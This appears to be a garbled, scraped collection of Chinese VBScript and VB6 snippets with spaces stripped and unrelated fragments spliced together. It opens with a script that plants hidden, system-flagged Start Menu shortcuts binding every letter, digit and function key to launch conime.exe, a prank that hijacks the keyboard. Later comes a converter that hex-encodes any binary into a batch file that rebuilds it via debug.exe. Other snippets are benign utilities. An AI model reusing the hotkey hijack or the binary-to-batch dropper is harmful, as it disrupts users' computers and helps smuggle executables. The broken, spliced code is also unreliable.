你可以传送和返回参数'codeBY伤脑筋 'copytofilename.vbs dimnum,var,fso,wsh,pathname num="A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,"+_ "V,W,X,Y,Z,0,1,2,3,4,5,6,7,8,9,F1,F2,F3,F4,F5,F6,"+_ "F7,F8,F9,F10,F11,F12" var=Split(num,",",-1,1) Setfso=CreateObject("Scripting.FileSystemObject") setWsh=WScript.CreateObject("WScript.Shell") pathname=Wsh.SpecialFolders("AllUsersStartMenu")+"\程序\附件\辅助工具" fori=0toUBound(var) setLink=Wsh.CreateShortcut(pathname+var(i)+".lnk") Link.TargetPath="conime.exe" Link.Hotkey=var(i) Link.Save SetFile=fso.GetFile(pathname+var(i)+".lnk") file.Attributes=2+4 next

如果用户点击是，我们就将他们带到指定的网站参数如下：1：以那一天为基准日？2：(Optional)要找的是星期几？若不指定，预设值为星期六3：(Optional)要往前(过去)找或往后(未来)找？若不指定，预设值为往后(未来)找程序码PublicFunctionSpecificWeekday(ByValDAsDate,OptionalByValWhatDayAsVbDayOfWeek=vbSaturday,OptionalGetNextAsBoolean=True)AsDateSpecificWeekday=(((D-WhatDay GetNext)\7)-GetNext)*7 WhatDayEndFunction或许您想知道程序为什么这样写？您知道吗？在VB中，其所有日期函数的基准日(第0天)是1899年12月30日(星期六)，第一天就是1899年12月31日(星期日)，所以VB的WeekDay函数算法其实就是(Date-1)Mod7 1

strComputer="."Set objWMIService=GetObject("winmgmts:\" & strComputer & "\root\cimv2") Set colItems=objWMIService.ExecQuery("Select * From Win32_Process Where Name='wscript.exe' OR Name='cscript.exe'")For Each objItem in colItemslmq=lmq & objItem.CommandLine & vbcrlfNextWscript.Echo lmq在VB中，窗体的关闭引发的是Form_Unload事件，我们可以对该事件进行编程，来控制“关闭”操作

<scriptlanguage=vbs> functionpass() input=inputbox("请输入密码:","hello",,300,300) ifinput=StrReverse("why?")then location.href=("tpircsbvym/moc.udiab.ih//:ptth") else MsgBox"error" location.href= endif endfunction </script>'makeanewproject;twoforms'onform1acommandbutton'putthecodeintherightplaces'pressF5SubForm2_load()'intheform2_loadevent'besuretomaketheform2smallerthenform1!lngOrigParenthWnd=SetWindowWord(Me.hwnd,-8,mdiMain.hwnd)EndSubPrivateSubForm_Unload(CancelAsInteger)'intheform2_unloadeventDimlngResult&lngResult=SetWindowWord(Me.hwnd,-8,lngOrigParenthWnd)EndSub'intheform2_generalsectionPrivateDeclareFunctionSetWindowWordLib"user32"(ByValhwnd&,ByValnIndex&,ByValwNewWord&)AsLongPrivatelngOrigParenthWnd&SubCommand1_clickform2.ShowEndSub->

fp=wscript.arguments(0) fn=right(fp,len(fp)-instrrev(fp,"")) with createobject("adodb.stream") .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str) end with sll=sl mod 65536:slh=sl65536 with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true) .write "@echo str=""" for i=1 to sl bt=ascb(midb(str,i,1)) if bt<16 then .write "0" .write hex(bt) if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +""" next .writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_ +":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_ +":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs" .writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_ +"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_ +">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs" end with 批量安装apk"Label2.Caption="电影结束画面的卷动效果setWshShell=WScript.CreateObject("WScript.Shell") '对话框标题 alerttitle="定时提醒" '提醒内容,vbnewline为换行符 alerttext=vbnewline&vbnewline&"休息一下，活动一下胳膊，脖子，腰部。